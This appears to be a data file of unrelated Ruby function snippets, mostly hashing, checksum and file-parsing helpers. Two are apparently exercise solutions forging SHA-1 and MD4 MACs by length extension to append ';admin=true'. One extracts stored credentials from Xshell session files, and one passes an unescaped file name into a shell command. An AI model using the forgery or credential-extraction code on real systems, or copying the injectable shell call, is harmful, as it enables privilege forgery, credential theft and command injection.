"def parse_config(rehash)\n open_config() if rehash\n @opers = []\n @ulines = []\n @options = {}\n \n while true\n line = @f.gets(\"\\n\")\n break if line == nil\n line.chomp!()\n next if line.empty?() || line[0] == '#'\n # O:lines need special treatment because of IPv6\n fields = []\n fields = line.split(':')\n if line.start_with?('O') && fields.length > ArgumentCount['O']\n uh = fields[1..-4].join(':')\n fields.insert(uh)\n end\n char = fields.shift()\n seen = []\n\n # In case we remove *:lines at some point, be backwards-compatible.\n if ArgumentCount[char] == nil\n puts(\"Warning: I have no idea how to parse a #{char}:line.\")\n next\n end\n\n if ArgumentCount[char] != fields.length\n raise(InvalidConfigurationFieldCountException,\n \"#{char}:line needs #{ArgumentCount[char]} args, got #{fields.length}.\")\n end\n\n case char\n when 'M'\n next if rehash\n @server = Server.new(fields[5], fields[0], fields[2])\n @vhost = fields[1]\n @bot = {'nick' => fields[3], 'ident' => fields[4], 'host' => fields[0]}\n when 'O'\n @opers.push(Oper.new(fields[0], fields[1], fields[2], fields[3]))\n when 'U'\n @ulines.push(fields[0])\n when 'C'\n next if rehash\n @uplink = {'host' => fields[0], 'password' => fields[1],\n 'port' => fields[2].to_i(), 'ssl' => (fields[3] == 'true')}\n when 'L'\n @levels = {'oper' => fields[0], 'admin' => fields[1]}\n when 'F'\n val = fields[1]\n val = (fields[1] == 'true') if BooleanOptions.include?(fields[0])\n @options[fields[0]] = val\n end\n end\n\n @options['logchan'] = '*' if @options['logchan'] == nil\n end",
"def compare_hashes_handler(hash_, file_, hash_class, _bit_size)\n # noinspection RubyStringKeysInHashInspection,RubyResolve\n hash_class_reference = {1 => Digest::SHA1, 2 => Digest::SHA2, 5 => Digest::MD5}\n # Check if hash_ is a raw hash or a csv db\n if File.file? hash_\n # hash_ is a csv database with hashes to check\n # Handler for databse\n file_object = File.open hash_, 'r'\n # All the lines of the db\n lines = file_object.readlines\n # Close the file because we don't need it anymore\n file_object.close\n # Fist line of this file is the configuration line that is the function and its bit size (if is sha2)\n hash_class, _bit_size = lines[0].strip.split('-')\n # Has_class can be transformed to int corresponding to its number\n hash_class = {\"SHA1\" => 1, \"SHA2\" => 2, \"MD5\" => 5}[hash_class]\n # When a bit size was specified transform it to int\n if _bit_size.is_a? String\n _bit_size = _bit_size.to_i\n end\n # Parameters for the setup of the hash_function\n hash_class = hash_class_reference[hash_class]\n\n #puts hash_class, chunk_size\n lines = lines[1..]\n lines.each do |line|\n file_path, hash = line.strip.split(',')\n compare file_path, hash_class, _bit_size, hash\n end\n else\n # hash_ variable is a raw hash\n # Get the hash class from the string provided\n hash_class = hash_class_reference[hash_class]\n # Compare the raw hash (hash_) with the file provided\n compare file_,hash_class, _bit_size, hash_\n end\nend",
"def hashFromFile(file, auth, algo)\n u = URI::NI.buildFromFile(auth, file, nil, algo)\n type=`file --mime-type #{file}`.split[1]\n u.contentType!(type)\n u\nend",
"def verify_hash_action_notify( file )\n hash = @hasher.generate_hash( file )\n res = @dbase.search_hashes( file ) \n\n unless hash.to_s.eql?( res[\"hash\"] ) \n \n puts \"Host:\\t\\t#{res[\"host\"]}\"\n puts \"File:\\t\\t#{file}\"\n puts \"Database date:\\t#{res[\"date\"]}\"\n puts \"Current date:\\t#{Time.now}\"\n puts \"Old hash:\\t#{res[\"algo\"]},\\t#{res[\"hash\"]}\"\n puts \"New hash:\\t#{@hasher.algo},\\t#{hash.to_s}\"\n puts \"\"\n \n end\nend",
"def hash_decoder\n hash_params = current_resource.info['rep:password'].match(\n /^\\{(?<algo>.+)\\}(?<salt>\\w+)-(?<iter>(\\d+)-)?(?<hash>\\w+)$/\n )\n\n raise('Unsupported hash format!') unless hash_params\n\n hash_params\n end",
"def parse_opcode_bits(fn)\n\n ctr = 0\n name = nil\n bits = {}\n\n File.read(fn).each_line{|l| \n\n ctr += 1\n l.strip!\n\n next if (iscomment(l) || isblank(l))\n t = l.split\n\n if (t.size != 2)\n raise \"error: bits line #{ctr}\"\n end\n\n bits[t[0]] = t[1]\n }\n\n return bits\nend",
"def hash\n [host_list, total_matching, total_returned].hash\n end",
"def diff_files\n hsh = {}\n @base.git.diff_files.split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, type) = info.split\n hsh[file] = {:path => file, :mode_file => mode_src.to_s[1, 7], :mode_index => mode_dest,\n :sha_file => sha_src, :sha_index => sha_dest, :type => type}\n end\n hsh\n end",
"def txt_hash(alternate_host=nil)\n fields = {}\n record = self.txt(alternate_host)\n return fields unless record\n\n record.split(/\\s*;\\s*/).each do |pair|\n (n,v) = pair.split(/\\s*=\\s*/)\n fields[n.to_sym] = v\n end\n fields\n end",
"def parse_into_hash(file_content)\n # apt-history file is seperated by double new line\n file_sections = file_content.split(\"\\n\\n\")\n\n # split the sections by line within them\n file_sections.map! { |section| section.split(\"\\n\") }\n\n # split each line of the sections by : seperator\n file_sections.map! do |section|\n section.map! do |line|\n line.partition(\": \").values_at(0, 2) # we don't need the seperator\n end\n section.to_h # Now make a hash of key-value pairs from 2-D array\n end\n end",
"def hash\n @hash ||= opts[:parser].parse(data.to_s.gsub(/\\<!\\[CDATA\\[([^\\]]+)\\]\\]\\>/) {$1})\n end",
"def hash \n @hash ||= CobraVsMongoose.xml_to_hash(file_content)\n end",
"def txt_hash(alternate_host = nil)\n fields = {}\n record = txt(alternate_host)\n return fields unless record\n\n record.split(/\\s*;\\s*/).each do |pair|\n (n, v) = pair.split(/\\s*=\\s*/)\n fields[n.to_sym] = v\n end\n fields\n end",
"def diff_files\n hsh = {}\n @base.git.diff_files.split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, status) = info.split\n hsh[file] = {:path => file, :mode_repo => mode_src.to_s[1, 7], :mode_index => mode_dest,\n :sha_repo => sha_src, :sha_index => sha_dest, :status => status}\n end\n hsh\n end",
"def get_entries(filename)\n lines = File.readlines(filename)\n hsh = lines.select { |s| s !~ /^#/ && s.strip != '' }.map do |lin|\n parts = lin.split('|')\n raise \"Bad line #{lin}\" unless parts.size == 5\n {\n raw: lin,\n rank: parts[0],\n word: parts[1],\n type: parts[2],\n translation: parts[3],\n sample: parts[4].strip\n }\n end\n hsh\n end",
"def peer_hash\n {\n :info_hash => sha,\n :peer_id => peer_id,\n :left => piece_length,\n :pieces => stream['info']['files']\n }\n end",
"def entry2hash(entry)\n hash = Hash.new('')\n entry.each_line do |line|\n tag = tag_get(line)\n next if tag == 'XX'\n tag = 'R' if tag =~ /^R./\t# Reference lines\n hash[tag] += line\n end\n return hash\n end",
"def process_lines\n\t#file_string is a string array,\n\t#extendable_hash is a hash that is created through this method\n\t\tneeded_lines = []\n\t\[email protected] do |line|\n\t\t\tunless line.strip.length == 0 || line[0] == '#' #filters empty lines and comments\n\t\t\t\tneeded_lines << line\n\t\t\tend\n\t\tend\n\n\t\t@hash = {}\n\t\tneeded_lines.map do |line| #splits every line at empty spaces\n\t\t\tline = line.split(\" \")\n\t\t\t@hash[line[0]] = line.drop(1) #line.drop(1) returns line without the first (0th) entry\n\t\tend\n\n\n\t\t# needed_lines.map do |line|\n\t\t# \thash[line[0]] = line.drop(1) #line.drop(1) returns line without the first (0th) entry\n\t\t# end\n\n\t\treturn @hash\n\tend",
"def simsat_create_file_hash(fm_dir_file)\n \n file_hash = {}\n \n dir_file = File.open(fm_dir_file,'r')\n \n file_hdr = dir_file.read(CfeFile::HDR_LEN)\n\n if file_hdr[0..3] == CfeFile::CONTENT_ID\n \n fm_hdr = dir_file.read(FswConfigParam::FM_DIR_FILE_HDR_LEN)\n \n if fm_hdr[0..SimSat::FLT_REC_DIR.length-1] == SimSat::FLT_REC_DIR\n \n num_files = fm_hdr[68..71].to_s.unpack('l')\n \n files = []\n num_files[0].times do\n file_rec = dir_file.read(FswConfigParam::FM_DIR_FILE_REC_LEN)\n file_ext_index = file_rec[0..63].index('.')\n file_name = file_rec[0..file_ext_index+3].to_s\n files << file_name\n end\n \n file_hash[:event] = files.grep /^#{SimSat::EVENT_FILENAME_BASE}/\n file_hash[:sci_aux] = files.grep /^#{SimSat::SCI_AUX_FILENAME_BASE}/\n file_hash[:isim] = files.grep /^#{SimSat::ISIM_FILENAME_BASE}/\n\n else\n\n message_box(\"FM file header does not contain the expected directory #{SimSat::FLT_REC_DIR}\",false)\n \n end\n \n else\n \n message_box(\"File header does not contain cFE file identifier #{CfeFile::CONTENT_ID}\",false)\n\n end\n \n return file_hash\n \nend",
"def main\n # Arguments base to be use for reference\n args = {:hash_function => 1,:compare => false, :debugmode => false, :samefolder => false, :hash => nil, :file => nil, :output_file => nil}\n # Options to be parsed\n opt = OptionParser.new\n opt.banner = \"Checksum handler; Usage: checksum.rb <options> FILE\"\n opt.on(\"-c\", \"--compare HASH/HASHDB\", \"Set the mode to compare an input hash with the FILE or to compare all hashes of the with all file inside it\") do |value|\n args[:compare] = value\n end\n opt.on('-v', '--verbose', 'Verbose mode ON') do\n args[:debugmode] = true\n end\n opt.on('-s', '--same-folder', 'Change the target file path to ./ as this script was working in the same folder; useful shareable files') do\n args[:samefolder] = true\n end\n opt.on(\"-o\", \"--output-file FILENAME\", \"Output file for the checksum (csv)\") do |value|\n args[:output_file] = value\n end\n opt.on('-5', \"--md5\", \"Use MD5 algorithm\") do\n args[:hash_function] = 5\n end\n opt.on('-1', '--sha1', 'Use SHA1 algorithm (Set by default)') do\n args[:hash_function] = 1\n end\n opt.on('-2', '--sha2 BITSLENGTH', 'Use SHA2 algorithm with your specific bit lenth can be 256, 384 or 512') do |bit_size|\n # SHA2 can have different bit sizes like 224, 256, 384, 512\n if [256, 384, 512].find bit_size.to_i\n args[:bit_size] = bit_size.to_i\n end\n args[:hash_function] = 2\n end\n opt.on('-h', '--help') do\n puts opt\n return\n end.parse!\n # Get the FILE variable\n args[:file] = ARGV.pop\n # When no target is specified\n unless args[:file]\n # iif compare mode isn't enabled\n unless args[:compare]\n puts opt\n end\n\n end\n begin\n # If the mode is set to compare\n if args[:compare]\n compare_hashes_handler args[:compare], args[:file], args[:hash_function], args[:bit_size]\n else\n # Get check sum from file\n checksum_handler args[:file], args[:output_file], args[:hash_function], args[:bit_size],args[:debugmode], args[:samefolder]\n end\n rescue => error\n # For debugging\n puts error\n # Print options\n puts opt\n end\nend",
"def get_PtrnHash(ptn, hsh)\n puts ptn\n puts hsh\n while true\n puts \"======\"\n line=gets.chop!\n ret = {}\n if line =~ /#{ptn}/ \n hsh.each { |k, v|\n# puts \" #{k} -> #{v} : '#{$~[hsh[k]]}'\"\n ret[k] = $~[v]\n }\n p ret\n return ret\n end\n end\nend",
"def get_checksums(gf_pid, gf_identifier)\n query = \"SELECT algorithm, datetime, digest, generic_file_id \" +\n \"FROM checksums where generic_file_id = ?\"\n if @checksum_query.nil?\n @checksum_query = @db.prepare(query)\n end\n checksums = []\n result_set = @checksum_query.execute(gf_pid)\n result_set.each_hash do |row|\n cs = {}\n cs['algorithm'] = row['algorithm']\n cs['datetime'] = row['datetime']\n cs['digest'] = row['digest']\n checksums.push(cs)\n end\n checksums\n end",
"def hash\n [file_info, output_path, encoding, recognize_lists, leading_spaces, trailing_spaces, enable_pagination].hash\n end",
"def challenge7(file, key)\n CryptUtil.aes_128_ecb(Utils::Base64.decode(file.read), key, :decrypt)\n end",
"def passive\t\n\thash=Digest::MD5.hexdigest(@tagpattern)\n\t[{:name=>\"tag pattern hash\",:string=>hash}]\nend",
"def parse_extented_reply_packet(packet)\n packet.read_string do |extension|\n data = packet.remainder_as_buffer\n parsed_packet = case extension\n when \"md5-hash\" then parse_md5_packet(data)\n when \"check-file\" then parse_hash_packet(data)\n when \"home-directory\" then parse_home_packet(data)\n else raise NotImplementedError, \"unknown packet type: #{extension}\"\n end\n end\n\n { :extension => extension }.merge(parsed_packet)\n end",
"def challenge29(mac, message)\n # Copy SHA1 padding code into a proc\n sha1_pad = proc do |s|\n bit_len = s.bytesize << 3\n s.force_encoding(Encoding::ASCII_8BIT)\n pad = 0x80.chr\n while ((s + pad).size % 64) != 56\n pad += \"\\x00\"\n end\n pad += [bit_len >> 32, bit_len & 0xffffffff].pack(\"N2\")\n end\n \n h = mac.unpack('N5')\n extension = ';admin=true'\n\n IO.readlines('/usr/share/dict/words', chomp: true).each do |key|\n glue = sha1_pad.call(key + message)\n forged_message = message + glue + extension\n forged_mac = CryptUtil::Digest::SHA1.digest(key.force_encoding(Encoding::ASCII_8BIT) + forged_message, h, [key, message, glue].map(&:bytesize).sum / 64)\n if CryptUtil::Digest::SHA1.authenticate_mac(forged_mac, key, forged_message)\n return forged_mac, forged_message\n end\n end\n end",
"def parse_hash\n \thash = {}\n \t# Remove the first five lines of the file\n \ttemp_array = @readin[5, @readin.length]\n \t# Split the input at the semicolon: the left hand side is a timestamp and the right hand side\n \t# is the value (either power in W, or energy in Wh depending on the file type).\n \t# This is committed to a hash with time as the key and the W/Wh as the value.\n \ttemp_array.each do |s|\n \t\tk,v = s.split(/;/)\n \t\t# the Aurora reports time as seconds since 1/1/0000 and Ruby reports time utilizing an epoch\n \t\t# that began on 1/1/1970. The time stamp is adjusted for the time in seconds between these\n \t\t# two dates.\n \t\thash[Time.at(k.to_i - 62167104000)] = v.to_f\n \tend\n \treturn hash\n end",
"def passive\t\t\n\tif @body.size > 4\n\t\thash=Digest::MD5.hexdigest(@body[0..500])\t\n\t\t[{:name=>\"hash\",:string=>hash}]\n\telse\n\t\t[]\n\tend\nend",
"def hash\n [dpv_confirmation, dpv_cmra, dpv_vacant, dpv_active, dpv_footnotes, ews_match, lacs_indicator, lacs_return_code, suite_return_code].hash\n end",
"def encoding prog_h\n puts \"encoding...\"\n hash={}\n prog_h.each{|addr,instr| hash[addr]=encode(instr)}\n return hash\n end",
"def simple_parse(filename)\n hash = {}\n data = File.open(filename) do |io| \n # this makes it work with ruby 1.9:\n io.set_encoding(\"ASCII-8BIT\") if io.respond_to?(:set_encoding)\n io.read \n end\n data.split(/\\r?\\n/).select {|v| v =~ /^[a-z]/}.each do |line|\n if line =~ /([^\\s]+)\\s*=\\s*([^;]+)\\s*;?/\n hash[$1.dup] = $2.rstrip\n end\n end\n hash\nend",
"def decode_to_hash(dir, f_c_weight, hash)\n file = File.open(dir, \"r\")\n\n hash = Hash.new(0) if hash == {}\n\n file.each do |line|\n follower = line[/^(.*?)\\t/, 1].to_i\n followees = line[/\\[(.*?)\\]/, 1].split(/[:,\\,]/)\n\n hash[follower] = Hash.new(0) if hash[follower] == 0\n\n # follower_hash = Hash.new(0) if\n # puts followees\n followees.each_slice(2) do |a|\n # puts a\n # puts a[0]\n # puts a[1]\n # puts \"follower: #{follower}\"\n # puts \"f_c_weight[follower] #{f_c_weight[follower]}\"\n\n hash[follower][a[0].to_i] += a[1].to_f * f_c_weight[follower]\n end\n # hash[follower] = follower_hash\n end\n file.close\n hash\n end",
"def hash\n [clean_result, contains_executable, contains_invalid_file, contains_script, contains_password_protected_file, contains_restricted_file_format, contains_macros, contains_xml_external_entities, contains_insecure_deserialization, contains_html, contains_unsafe_archive, verified_file_format, found_viruses, content_information].hash\n end",
"def to_hash(files)\n data = \"\"\n h = {}\n\n # Load files \n files.each {|fn| data << File.open(fn).read }\n\n # Gets the key values\n data.scan(/^([F3|R3]\\w+): ([,\\w]+)$/).each do |m| \n key, value = m\n unless KEYS_PER_TAG.include?(key.gsub(/R3|F3/, \"XX\"))\n return \"Invalid key found while processing stats\"\n end\n h[key] = value\n end\n\n (h.size == 4 or h.size == 8) ?\n h :\n \"Not the expected # of key/values: #{h.size}. Bailing out.\"\nend",
"def hash_file(filename)\n file = File.read(filename)\n tlsh_hash(file.bytes)\n end",
"def validate_file(file_list, timestamp, prev_hash)\n acc_balances = {}\n acc_balances.default = 0\n prepared_hashes = PreHash.new\n file_list.each_with_index do |line, line_no|\n parsed_lines = split_line line, line_no\n check_block_number parsed_lines[0], line_no\n verify_previous_hash prev_hash, parsed_lines[1], line_no\n timestamp = verify_and_return_datetime timestamp, parsed_lines[3], line_no\n verify_transactions parsed_lines[2], line_no, acc_balances\n hash_string = \"#{parsed_lines[0]}|#{parsed_lines[1]}|#{parsed_lines[2]}|#{parsed_lines[3]}\"\n prev_hash = verify_current_hash hash_string, parsed_lines[4], line_no, prepared_hashes\n end\n print_balances acc_balances\n true\nend",
"def file_remote_digestsha2(file_name)\n data = read_file(file_name)\n chksum = nil\n if data\n chksum = Digest::SHA256.hexdigest(data)\n end\n return chksum\n end",
"def to_hash\n hash = {}\n\n hash[:name] = name\n hash[:file] = file\n hash[:line] = line\n\n hash[:docstring] = PuppetStrings::Yard::Util.docstring_to_hash(docstring)\n hash[:properties] = properties.sort_by(&:name).map(&:to_hash) if properties && !properties.empty?\n hash[:parameters] = parameters.sort_by(&:name).map(&:to_hash) if parameters && !parameters.empty?\n hash[:checks] = checks.sort_by(&:name).map(&:to_hash) if checks && !checks.empty?\n hash[:features] = features.sort_by(&:name).map(&:to_hash) if features && !features.empty?\n hash[:providers] = providers.sort_by(&:name).map(&:to_hash) if providers && !providers.empty?\n\n hash\n end",
"def file_to_hash( file )\n to_hash( File.read( file ) )\n end",
"def parse_server_algorithm_packet(packet); end",
"def hash\n [bin_commercial, bin_corporate, bin_country_issued, bin_credit, bin_currency, bin_debit, bin_description, bin_eu, card_id, card_status, default, expmonth, expyear, label, label2, last4digits, scheme, token].hash\n end",
"def readHookups(rack)\n info = Hash.new();\n result = `/home/obs/ruby/bin/fxconf.rb hookup_tab #{rack}`;\n result.each do |line|\n if(line == nil || line.length < 10) then next end;\n #puts line.chomp!;\n parts = line.split(/\\s+/);\n ibobName = parts[5].split(\".\")[0];\n antName = parts[7][0..1];\n polName = parts[7][2..2];\n inputNum = parts[5].split(\".\")[1].split(\":\")[1][-1,1];\n walsh = parts[12];\n polNum = parts[3];\n #puts ibobName + \",\" + antName + \",\" + polName + \",\" + inputNum;\n\n antAttemp = info[antName];\n if(antAttemp == nil) \n antAttemp = AntAttemp.new(antName);\n info[antName] = antAttemp;\n end\n\n antAttemp.add(polName, polNum, ibobName, inputNum, walsh, rack);\n\n end\n return info;\n end",
"def get_hash_extended\n rc = info_search(:extended => true)\n return rc if OpenNebula.is_error?(rc)\n to_hash\n end",
"def hash\n [audit, username, ereq_id, level, comp, error_code, s2comp, req_id, ent_id, security, subcomp].hash\n end",
"def hashNQS()\n @hash_nqs={}\n nqsReader=File.open(@nqsFile,\"r\")\n nqsReader.each do |line|\n cols=line.split(/\\s+/)\n \n name=cols[0]\n next if name==\"readName\"\n length=cols[1]\n dist=cols[2]\n qual=cols[3].to_i\n pass=cols[4]\n \n str_result=length+'.'+pass\n str=name+'.'+dist\n if @hash_nqs[str]==nil\n @hash_nqs[str]=str_result\n end\n end\n nqsReader.close\n $stderr.puts @hash_nqs.size\nend",
"def hash\n [accept_tos, verify_sms, kyc_check, documentary_verification, selfie_check, watchlist_screening, risk_check].hash\n end",
"def merge_into_hash(file)\n current_fh = open_file(file)\n current_fh.each_line { |line|\n parts = split_line(line)\n next unless parts.length == Mergeit::Config::SUPPORTED_PARTS[:size]\n\n ip = parts[0].strip\n next unless is_ip_addr?(ip)\n\n numbers = parts[1].strip\n next unless is_valid_csv?(numbers)\n\n process_to_hash(ip, numbers.split(Mergeit::Config::NUMBERS[:delimeter]))\n }\n ensure\n current_fh.close\n end",
"def hash\n [name, operator, expanded].hash\n end",
"def xe_get_params(cmd)\n h = Hash.new\n invalid_keys = %w/last-boot-record \n other-config other \n software-version \n other\n platform\n cpu_info \n license-server \n recommendations /\n\n xe_open(cmd).each do |line|\n if line.match(/\\s(.*)\\s\\(.*\\):\\s(.*)/)\n k = $1.strip\n v = $2.strip\n k.gsub!(/{|}|<|>|\\[|\\]|(|)|'|\"/,'')\n next if invalid_keys.include?(k)\n k.strip!\n v.gsub!(/<|>|\\[|\\]|(|)|\\'|\\\"/,'')\n v=v.split(/;/) if v.match(/;/)\n v.to_s.each_line do |j|\n j.strip!\n if j.match(/([^:]*):(.*)/)\n # we have values that may be foo:bar that we need to sepparate into more k/v\n k2 = $1.strip\n\t next if invalid_keys.include?(k2)\n v2 = $2\n v2.strip!\n h.merge!({ k => { k2 => v2 }})\n else \n h[k] = v\n end\n end\n\n h.rehash\n end\n end\n return h\nend",
"def file_2_hash(f,lc=true)\n\t\tputs \"Loading records from file: #{f}\" if @verbose\n\t\tbegin\n\t\t\ths=Hash.new\n\t\t\tfile = File.open(f, \"r\")\n\t\t\tfile.each_line do |line|\n\t\t\t\tline=line.chomp.strip\n\t\t\t\tnext if line.nil?\n\t\t\t\tnext if line.empty?\n\t\t\t\tline=line.downcase if lc==true\n\t\t\t\tnext if line =~ /^\\s*#/\n\t\t\t\ths[line]=true unless hs.key?(line)\n\t\t\tend\n\t\t\tfile.close\n\t\t\treturn hs\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} on #{f}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def mining_hash\n Utils.keccak(rlp_encode skip_keys: [:mix_hash, :nonce])\n end",
"def parse_dns(raw)\n # Filtering Lines with Comments and Empty Lines\n dns_filter = raw.select { |x| x[0] != \"#\" && x != \"\\n\" }.map {|x| x.split(\", \")}\n\n # Building the Hash\n dns_hash = {}\n dns_filter.each do |x| \n dns_hash[x[1]] = {\n :type => x[0],\n :target => x[2]\n }\n end\n \n dns_hash\nend",
"def hash\n [prefix, postfix, snippet_count, fragment_size, max_analyzed_chars, merge_contiguous, use_phrase_highlighter, fields].hash\n end",
"def file_match(file)\n {:filename => file, :matched => file, :line => 1, :column => 1}\n end",
"def slurp_commondata(f)\n\tvar1=Hash.new\n\tFile.new(f,'r').each_line{|l|\n\t\tl.chomp!\n\t\tl.gsub!('\"','')\n\t\tcols= l.split(/\\t/)\n\t\tvar1[cols[0]]=cols[1]\n\t}\n\treturn var1\nend",
"def get_challenge\n result = @client.call(\"LJ.XMLRPC.getchallenge\")\n challenge = result[\"challenge\"]\n response = MD5.md5(challenge + @password).to_s\n\n @paramhash[\"auth_challenge\"] = challenge\n @paramhash[\"auth_response\"] = response\n end",
"def gpx_to_hash(file)\n data = begin\n Hash.from_xml(file).with_indifferent_access[:gpx][:wpt]\n rescue\n false\n end\n end",
"def parse(file, checksum = false)\n\t\txml = Nokogiri.XML(file)\n\t\tdoc = xml.at('Puzzle') || xml.at('Crossword') # TODO: Multiple puzzles?\n\t\t@key_hash = doc.to_s.hash\n\t\t\n\t\t@title = doc.at('Title').inner_text\n\t\t@author = doc.at('Author').inner_text\n\t\t@copyright = %w[Copyright Publisher].map { |k| doc.at(k) }.\n\t\t\tcompact.first.inner_text\n\t\t# TODO: Date, Editor, Type?\n\t\t\n\t\t@height = doc.at('Size/Rows').inner_text.to_i\n\t\t@width = doc.at('Size/Cols').inner_text.to_i\n\t\tsq = doc.search('Grid/Row').map do |row|\n\t\t\trow.inner_text.split('').map do |c|\n\t\t\t\tif c == XPF_BLACK || c == XPF_MISSING\n\t\t\t\t\tnil # TODO: Handle missing, blank?\n\t\t\t\telse\n\t\t\t\t\ts = Square.new\n\t\t\t\t\ts.answer = c\n\t\t\t\t\ts\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@squares = sq[0].zip *sq[1..-1] # transpose\n\t\t\n\t\t@down = {}\n\t\t@across = {}\n\t\tif doc.name == \"Puzzle\"\n\t\t\tdoc.search('Clues/Clue').each do |clue|\n\t\t\t\trow, col, num, dir, ans = *%w[Row Col Num Dir Ans].\n\t\t\t\t\tmap { |k| clue[k] }\n\t\t\t\trow, col, num = *[row, col, num].map { |a| a.to_i }\n\t\t\t\tdir = dir.downcase.to_sym\n\t\t\t\t@squares[col - 1][row - 1].__send__(\"#{dir}=\", num)\n\t\t\t\t__send__(dir)[num] = clue.inner_text\n\t\t\t\t# TODO: Do something with ans (rebus?)\n\t\t\tend\n\t\telse\n\t\t\tassign_clues(doc)\n\t\tend\n\t\t\n\t\t# TODO: Rebus, Notepad, Circle, Shade\n\tend",
"def parse_hash_def\n ref, hash = parse_hash\n\n [ref, hash, parse]\n end",
"def hashes(log)\n return log.split(\"\\n\").map{|line| parser(line) }\n end",
"def parse_digest(digest)\n # protect against missing data\n needed_parts = { 'nonce' => 1, 'nc' => 1, 'cnonce' => 1, 'qop' => 1, 'username' => 1, 'uri' => 1, 'response' => 1 }\n data = {}\n\n digest.scan(/(\\w+)=(?:(?:\")([^\"]+)\"|([^\\s,$]+))/) do |m1, m2, m3|\n data[m1] = m2 ? m2 : m3\n needed_parts.delete m1\n end\n\n needed_parts.any? ? nil : data\n end",
"def filehash(filename, algorithm = DEFAULT_ALGORITHM)\n algo_class = Digest.const_get(algorithm.to_s.upcase)\n\n # Safety check\n unless algo_class.class == Class and algo_class.respond_to?(:new)\n raise \"Unknown filehash provider #{algo_class}\"\n end\n\n hash = algo_class.new()\n File.open(filename,'r') do |f|\n until f.eof?\n hash.update(f.read(READ_SIZE))\n end\n end\n\n return hash.hexdigest\n end",
"def challenge30(mac, message)\n md4_pad = proc do |s|\n bit_len = s.bytesize << 3\n s.force_encoding(Encoding::ASCII_8BIT)\n pad = 0x80.chr\n while ((pad.size + s.size) % 64) != 56\n pad += \"\\x00\"\n end\n pad += [bit_len & ((1 << 32) - 1), bit_len >> 32].pack(\"V2\")\n end\n \n h = mac.unpack(\"V4\")\n extension = \";admin=true\"\n\n IO.readlines(\"/usr/share/dict/words\", chomp: true).each do |key|\n glue = md4_pad.call(key + message)\n forged_message = message + glue + extension\n forged_mac = CryptUtil::Digest::MD4.digest(key.force_encoding(Encoding::ASCII_8BIT) + forged_message, h, [key, message, glue].map(&:bytesize).sum / 64)\n if CryptUtil::Digest::MD4.authenticate_mac(forged_mac, key, forged_message)\n return forged_mac, forged_message\n end\n end\n end",
"def regex_process_commit(arr)\n message = \"\"\n filepaths = {}\n end_message_index = 0\n hash = Hash.new\n in_files = false # Have we gotten to the file portion yet? After the ;;; delimiter\n\n #index 5 should be the start\n #of the message\n (5..arr.size-1).each do |i|\n #add lines to message string if they are not identifers of lines we want to get later\n if not arr.fetch(i) =~ (/^git-svn-id:/) and\n not arr.fetch(i) =~ (/^Review URL:/) and\n not arr.fetch(i) =~ (/^BUG/) and\n not arr.fetch(i) =~ (/^R=/)\n\n #concat the message into 1\n #string\n message = message + \" \" + arr.fetch(i)\n else\n #get the last index of the \n #message, is it multiple\n #lines\n end_message_index = i\n break\n end\n end\n\n hash[:message] = message\n arr[5] = message\n\n #remove the multi line message since we condensed it\n (6..end_message_index).each do |i| \n arr.delete(i) \n end\n\n arr.each do |element|\n if fast_match(element, /^Review URL:/)\n @reviews_to_update[element[/(\\d)+/].to_i] = arr[0].strip\n\n elsif fast_match(element, /^BUG=/)\n hash[:bug] = element.strip.sub(\"BUG=\", \"\")\n\n elsif fast_match(element, /^;;;/)\n in_files = true\n\n elsif in_files and element.include?('|') # stats output needs to have a pipe\n # collect the filepath and churn count, store in the filepath hash\n split = element.split('|')\n filepaths[split[0].strip] = split[1].to_i\n \n end#if\n\n end#arr.each\n hash[\"filepaths\"] = filepaths\n \n\n return arr, hash\n\n end",
"def diff_hash\n {\n diff: diff_hunk,\n new_path: file_path,\n old_path: file_path,\n\n # These fields are not displayed for LegacyDiffNote notes, so it\n # doesn't really matter what we set them to.\n a_mode: '100644',\n b_mode: '100644',\n new_file: false\n }\n end",
"def parse_references( lines )\n data = {}\n return data if lines == nil\n index = 1\n h = {}\n references_left = 0\n\n lines.each do |line|\n next if line[0].chr == '#' # Comment\n next if line[0..1] == '//' # End of entry marker\n line.chomp!\n\n if (1..7).include?( index )\n h[index] = line\n references_left = h[index].to_i if index == 7\n index += 1\n next\n end\n\n if index == 8\n h[index] ||= []\n h[index] << line\n references_left -= 1\n end\n\n if references_left == 0\n data[ h[1] ] = {\n :name => h[1],\n :organism => h[2],\n :isoschizomers => h[3],\n :methylation => h[4],\n :source => h[5],\n :suppliers => h[6],\n :number_of_references => h[7],\n :references => h[8]\n }\n index = 1\n h = {}\n end\n end # lines.each\n data\n end",
"def parse_enzymes( lines )\n data = {}\n return data if lines == nil\n lines.each do |line|\n next if line[0].chr == '#'\n line.chomp!\n \n a = line.split(\"\\s\")\n \n data[ a[0] ] = {\n :name => a[0],\n :pattern => a[1],\n :len => a[2],\n :ncuts => a[3],\n :blunt => a[4],\n :c1 => a[5],\n :c2 => a[6],\n :c3 => a[7],\n :c4 => a[8]\n }\n end # lines.each\n data\n end",
"def parse_dns(raw)\n # Filtering Lines with Comments and Empty Lines\n dns_filter = raw.select {|x| x[0]!= \"#\" && x != \"\\n\" }\n\n # Creating a List with 3 Columns\n dns_filter_list = []\n dns_filter.each {|x| dns_filter_list.push(x.split(\", \"))}\n\n # Creating the List each DNS for Hash\n record_type_list = []\n source_list = []\n destination_list = []\n\n dns_filter_list.each do |x|\n record_type_list.push(x[0])\n source_list.push(x[1])\n destination_list.push(x[2])\n end\n\n # Building the Hash\n dns_hash = {\n \"RECORDTYPE\".to_sym => record_type_list,\n \"SOURCE\".to_sym => source_list,\n \"DESTINATION\".to_sym => destination_list,\n }\n return dns_hash\nend",
"def parser_xsh(file)\n ini = Rex::Parser::Ini.from_s(file)\n version = ini['SessionInfo']['Version']\n port = ini['CONNECTION']['Port']\n host = ini['CONNECTION']['Host']\n username = ini['CONNECTION:AUTHENTICATION']['UserName']\n password = ini['CONNECTION:AUTHENTICATION']['Password'] || nil\n [version, host, port, username, password]\n end",
